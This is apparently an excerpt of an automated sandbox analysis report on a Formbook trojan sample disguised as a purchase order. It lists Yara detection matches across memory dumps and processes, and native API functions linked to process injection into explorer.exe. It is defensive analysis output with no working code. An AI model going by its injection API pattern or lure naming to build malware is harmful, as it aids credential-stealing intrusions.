          Source: Yara matchFile source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

          System Summary

          barindex
          Malicious sample detected (through community Yara rule)
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 13.2.New PO 796512.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 13.2.New PO 796512.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000E.00000002.2554228536.00000000109A6000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_772cc62d Author: unknown
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000001D.00000002.1579072363.0000000002830000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000037.00000002.1878197594.0000000000640000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.2531627143.0000000003260000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000042.00000002.1971156070.0000000000770000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.2531373486.0000000003230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000010.00000002.2529083977.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 00000026.00000002.1663569868.0000000002710000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000002D.00000002.1737808316.0000000002F90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
          Source: 0000000D.00000002.1419632315.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
          Source: Process Memory Space: New PO 796512.exe PID: 4072, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: New PO 796512.exe PID: 7656, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: msdt.exe PID: 7736, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: cmd.exe PID: 4048, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: msiexec.exe PID: 6700, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: cmd.exe PID: 1860, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: msdt.exe PID: 7852, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: Process Memory Space: mstsc.exe PID: 8120, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A320 NtCreateFile,13_2_0041A320
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A3D0 NtReadFile,13_2_0041A3D0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A450 NtClose,13_2_0041A450
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A500 NtAllocateVirtualMemory,13_2_0041A500
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A44A NtReadFile,13_2_0041A44A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041A4FA NtAllocateVirtualMemory,13_2_0041A4FA
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392B60 NtClose,LdrInitializeThunk,13_2_01392B60
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392BF0 NtAllocateVirtualMemory,LdrInitializeThunk,13_2_01392BF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392AD0 NtReadFile,LdrInitializeThunk,13_2_01392AD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392D30 NtUnmapViewOfSection,LdrInitializeThunk,13_2_01392D30
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392D10 NtMapViewOfSection,LdrInitializeThunk,13_2_01392D10
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392DF0 NtQuerySystemInformation,LdrInitializeThunk,13_2_01392DF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392DD0 NtDelayExecution,LdrInitializeThunk,13_2_01392DD0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392C70 NtFreeVirtualMemory,LdrInitializeThunk,13_2_01392C70
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392CA0 NtQueryInformationToken,LdrInitializeThunk,13_2_01392CA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392F30 NtCreateSection,LdrInitializeThunk,13_2_01392F30
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392FB0 NtResumeThread,LdrInitializeThunk,13_2_01392FB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392F90 NtProtectVirtualMemory,LdrInitializeThunk,13_2_01392F90
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392FE0 NtCreateFile,LdrInitializeThunk,13_2_01392FE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392EA0 NtAdjustPrivilegesToken,LdrInitializeThunk,13_2_01392EA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392E80 NtReadVirtualMemory,LdrInitializeThunk,13_2_01392E80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01394340 NtSetContextThread,13_2_01394340
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01394650 NtSuspendThread,13_2_01394650
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392BA0 NtEnumerateValueKey,13_2_01392BA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392B80 NtQueryInformationFile,13_2_01392B80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392BE0 NtQueryValueKey,13_2_01392BE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392AB0 NtWaitForSingleObject,13_2_01392AB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392AF0 NtWriteFile,13_2_01392AF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392D00 NtSetInformationFile,13_2_01392D00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392DB0 NtEnumerateKey,13_2_01392DB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392C00 NtQueryInformationProcess,13_2_01392C00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392C60 NtCreateKey,13_2_01392C60
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392CF0 NtOpenProcess,13_2_01392CF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392CC0 NtQueryVirtualMemory,13_2_01392CC0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392F60 NtCreateProcessEx,13_2_01392F60
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392FA0 NtQuerySection,13_2_01392FA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392E30 NtWriteVirtualMemory,13_2_01392E30
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01392EE0 NtQueueApcThread,13_2_01392EE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01393010 NtOpenDirectoryObject,13_2_01393010
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01393090 NtSetValueKey,13_2_01393090
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013935C0 NtCreateMutant,13_2_013935C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013939B0 NtGetContextThread,13_2_013939B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01393D10 NtOpenProcessToken,13_2_01393D10
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01393D70 NtOpenThread,13_2_01393D70
          Source: C:\Windows\explorer.exeCode function: 14_2_1098FE12 NtProtectVirtualMemory,14_2_1098FE12
          Source: C:\Windows\explorer.exeCode function: 14_2_1098E232 NtCreateFile,14_2_1098E232
          Source: C:\Windows\explorer.exeCode function: 14_2_1098FE0A NtProtectVirtualMemory,14_2_1098FE0A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_02E33E1C1_2_02E33E1C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_02E3E1441_2_02E3E144
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC85181_2_05AC8518
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05ACA1E01_2_05ACA1E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC6B981_2_05AC6B98
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC35B81_2_05AC35B8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05ACAEF01_2_05ACAEF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC16181_2_05AC1618
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC49E81_2_05AC49E8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC0AA01_2_05AC0AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_05AC9A701_2_05AC9A70
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06ACD6881_2_06ACD688
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06AC3F501_2_06AC3F50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06AC6FE81_2_06AC6FE8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06AC6FF81_2_06AC6FF8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 1_2_06AC68681_2_06AC6868
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0040102613_2_00401026
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0040103013_2_00401030
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041E03A13_2_0041E03A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D8D813_2_0041D8D8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041E35D13_2_0041E35D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041EC6413_2_0041EC64
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D56613_2_0041D566
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041E52513_2_0041E525
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041DD8613_2_0041DD86
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00402D8A13_2_00402D8A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00402D9013_2_00402D90
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00409E5013_2_00409E50
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041DF5B13_2_0041DF5B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0041D7DC13_2_0041D7DC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_00402FB013_2_00402FB0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FA11813_2_013FA118
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135010013_2_01350100
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E815813_2_013E8158
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014181CC13_2_014181CC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014141A213_2_014141A2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014201AA13_2_014201AA
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F200013_2_013F2000
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141A35213_2_0141A352
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014203E613_2_014203E6
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136E3F013_2_0136E3F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140027413_2_01400274
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013E02C013_2_013E02C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136053513_2_01360535
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0142059113_2_01420591
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141244613_2_01412446
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140442013_2_01404420
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140E4F613_2_0140E4F6
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136077013_2_01360770
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138475013_2_01384750
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135C7C013_2_0135C7C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137C6E013_2_0137C6E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137696213_2_01376962
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013629A013_2_013629A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0142A9A613_2_0142A9A6
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136284013_2_01362840
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136A84013_2_0136A840
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013468B813_2_013468B8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0138E8F013_2_0138E8F0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141AB4013_2_0141AB40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01416BD713_2_01416BD7
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135EA8013_2_0135EA80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FCD1F13_2_013FCD1F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136AD0013_2_0136AD00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01378DBF13_2_01378DBF
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135ADE013_2_0135ADE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360C0013_2_01360C00
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01350CF213_2_01350CF2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01400CB513_2_01400CB5
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01380F3013_2_01380F30
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A2F2813_2_013A2F28
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01402F3013_2_01402F30
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D4F4013_2_013D4F40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013DEFA013_2_013DEFA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136CFE013_2_0136CFE0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01352FC813_2_01352FC8
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141EE2613_2_0141EE26
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01360E5913_2_01360E59
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141EEDB13_2_0141EEDB
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01372E9013_2_01372E90
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141CE9313_2_0141CE93
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0142B16B13_2_0142B16B
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134F17213_2_0134F172
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0139516C13_2_0139516C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136B1B013_2_0136B1B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140F0CC13_2_0140F0CC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141F0E013_2_0141F0E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014170E913_2_014170E9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013670C013_2_013670C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141132D13_2_0141132D
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0134D34C13_2_0134D34C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A739A13_2_013A739A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013652A013_2_013652A0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014012ED13_2_014012ED
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137B2C013_2_0137B2C0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141757113_2_01417571
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FD5B013_2_013FD5B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0135146013_2_01351460
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141F43F13_2_0141F43F
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141F7B013_2_0141F7B0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_014116CC13_2_014116CC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013F591013_2_013F5910
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0136995013_2_01369950
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137B95013_2_0137B950
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013CD80013_2_013CD800
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013638E013_2_013638E0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141FB7613_2_0141FB76
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137FB8013_2_0137FB80
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0139DBF913_2_0139DBF9
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D5BF013_2_013D5BF0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01417A4613_2_01417A46
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141FA4913_2_0141FA49
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D3A6C13_2_013D3A6C
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0140DAC613_2_0140DAC6
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013FDAAC13_2_013FDAAC
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013A5AA013_2_013A5AA0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01401AA313_2_01401AA3
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01411D5A13_2_01411D5A
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01417D7313_2_01417D73
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01363D4013_2_01363D40
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0137FDC013_2_0137FDC0
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_013D9C3213_2_013D9C32
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141FCF213_2_0141FCF2
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141FF0913_2_0141FF09
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01361F9213_2_01361F92
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_0141FFB113_2_0141FFB1
          Source: C:\Users\user\Desktop\New PO 796512.exeCode function: 13_2_01369EB013_2_01369EB0
          Source: C:\Windows\explorer.exeCode function: 14_2_0975F91214_2_0975F912
          Source: C:\Windows\explorer.exeCode function: 14_2_09759D0214_2_09759D02
          Source: C:\Windows\explorer.exeCode function: 14_2_097655CD14_2_097655CD
          Source: C:\Windows\explorer.exeCode function: 14_2_0976103614_2_09761036
          Source: C:\Windows\explorer.exeCode function: 14_2_0975808214_2_09758082
          Source: C:\Windows\explorer.exeCode function: 14_2_0975CB3014_2_0975CB30
          Source: C:\Windows\explorer.exeCode function: 14_2_0975CB3214_2_0975CB32
          Source: C:\Windows\explorer.exeCode function: 14_2_0976223214_2_09762232
          Source: C:\Windows\explorer.exeCode function: 14_2_099E65CD14_2_099E65CD
          Source: C:\Windows\explorer.exeCode function: 14_2_099E091214_2_099E0912
          Source: C:\Windows\explorer.exeCode function: 14_2_099DAD0214_2_099DAD02
          Source: C:\Windows\explorer.exeCode function: 14_2_099D908214_2_099D9082
          Source: C:\Windows\explorer.exeCode function: 14_2_099E203614_2_099E2036
          Source: C:\Windows\explorer.exeCode function: 14_2_099DDB3014_2_099DDB30
          Source: C:\Windows\explorer.exeCode function: 14_2_099DDB3214_2_099DDB32
          Source: C:\Windows\explorer.exeCode function: 14_2_099E323214_2_099E3232
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0D5CD14_2_09B0D5CD
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0791214_2_09B07912
          Source: C:\Windows\explorer.exeCode function: 14_2_09B01D0214_2_09B01D02
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0008214_2_09B00082
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0903614_2_09B09036
          Source: C:\Windows\explorer.exeCode function: 14_2_09B04B3014_2_09B04B30
          Source: C:\Windows\explorer.exeCode function: 14_2_09B04B3214_2_09B04B32
          Source: C:\Windows\explorer.exeCode function: 14_2_09B0A23214_2_09B0A232
          Source: C:\Windows\explorer.exeCode function: 14_2_0B09EB3014_2_0B09EB30
          Source: C:\Windows\explorer.exeCode function: 14_2_0B09EB3214_2_0B09EB32
          Source: C:\Windows\explorer.exeCode function: 14_2_0B0A423214_2_0B0A4232
          Source: C:\Windows\explorer.exeCode function: 14_2_0B09BD0214_2_0B09BD02
